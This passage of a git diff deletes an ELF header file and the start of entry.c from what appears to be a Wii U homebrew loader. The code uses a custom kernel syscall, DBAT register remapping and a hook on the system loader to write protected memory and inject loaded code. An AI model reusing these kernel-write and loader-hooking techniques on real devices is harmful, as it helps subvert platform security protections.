Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/hbl_loader/sd_loader/src/entry.c b/dsrom/hbl_loader/sd_loader/src/entry.c deleted file mode 100644 index ccfa427..0000000 --- a/dsrom/hbl_loader/sd_loader/src/entry.c +++ /dev/null @@ -1,666 +0,0 @@ -#include -#include "elf_abi.h" -#include "../../common.h" -#include "../../fs_defs.h" -#include "../../os_defs.h" -#include "kernel_defs.h" -#include "loader_defs.h" - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) - -typedef struct _private_data_t -{ - EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); - EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); - - EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); - EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); - EXPORT_DECL(void, OSFatal, const char* msg); - EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*); - EXPORT_DECL(void, exit, int); - - EXPORT_DECL(int, FSInit, void); - EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); - EXPORT_DECL(int, FSDelClient, void *pClient); - EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); - EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); - EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); - EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - - EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); -} private_data_t; - -static void (*DCFlushRange)(void *addr, unsigned int size); -static void (*DCInvalidateRange)(void *addr, unsigned int size); -static void (*ICInvalidateRange)(void *addr, unsigned int size); -static unsigned int hook_LiWaitOneChunk; -static unsigned int addrphys_LiWaitOneChunk; - -extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); -extern void my_PrepareTitle_hook(void); - -/* Write a 32-bit word with kernel permissions */ -static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access with cache inhibited to write through and read directly from memory - */ - unsigned int dbatu0, dbatl0, dbatu1, dbatl1; - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); - asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); - - unsigned int target_dbatu0 = 0; - unsigned int target_dbatl0 = 0; - unsigned int target_dbatu1 = 0; - unsigned int target_dbatl1 = 0; - - unsigned int *dst_p = (unsigned int*)addr; - unsigned int *src_p = (unsigned int*)src; - - // we only need DBAT modification for addresses out of our own DBAT range - // as our own DBAT is available everywhere for user and supervisor - // since our own DBAT is on DBAT5 position we don't collide here - if(addr < 0x00800000 || addr >= 0x01000000) - { - target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = (addr & 0xFFF00000) | 0x32; - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); - } - if(src < 0x00800000 || src >= 0x01000000) - { - target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = (src & 0xFFF00000) | 0x32; - - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); - } - - asm volatile("eieio; isync"); - - unsigned int i; - for(i = 0; i < len; i += 4) - { - // if we are on the edge to next chunk - if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) - { - target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; - dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - asm volatile("eieio; isync"); - } - if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) - { - target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; - src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - asm volatile("eieio; isync"); - } - - *dst_p = *src_p; - - ++dst_p; - ++src_p; - } - - /* - * Restore original DBAT value - */ - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); - asm volatile("eieio; isync"); -} - -// This function is called every time after LiBounceOneChunk. -// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address -// and return the still remaining bytes to load. -// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. -static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) -{ - unsigned int result; - register int core_id; - int remaining_bytes = 0; - - int sgFileOffset; - int sgBufferNumber; - int *sgBounceError; - int *sgGotBytes; - int *sgTotalBytes; - int *sgIsLoadingBuffer; - int *sgFinishedLoadingBuffer; - - // get the current core - asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); - - // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) - unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime1 = Loader_GetSystemTime(); - - if(OS_FIRMWARE == 550) - { - // pointer to global variables of the loader - loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = 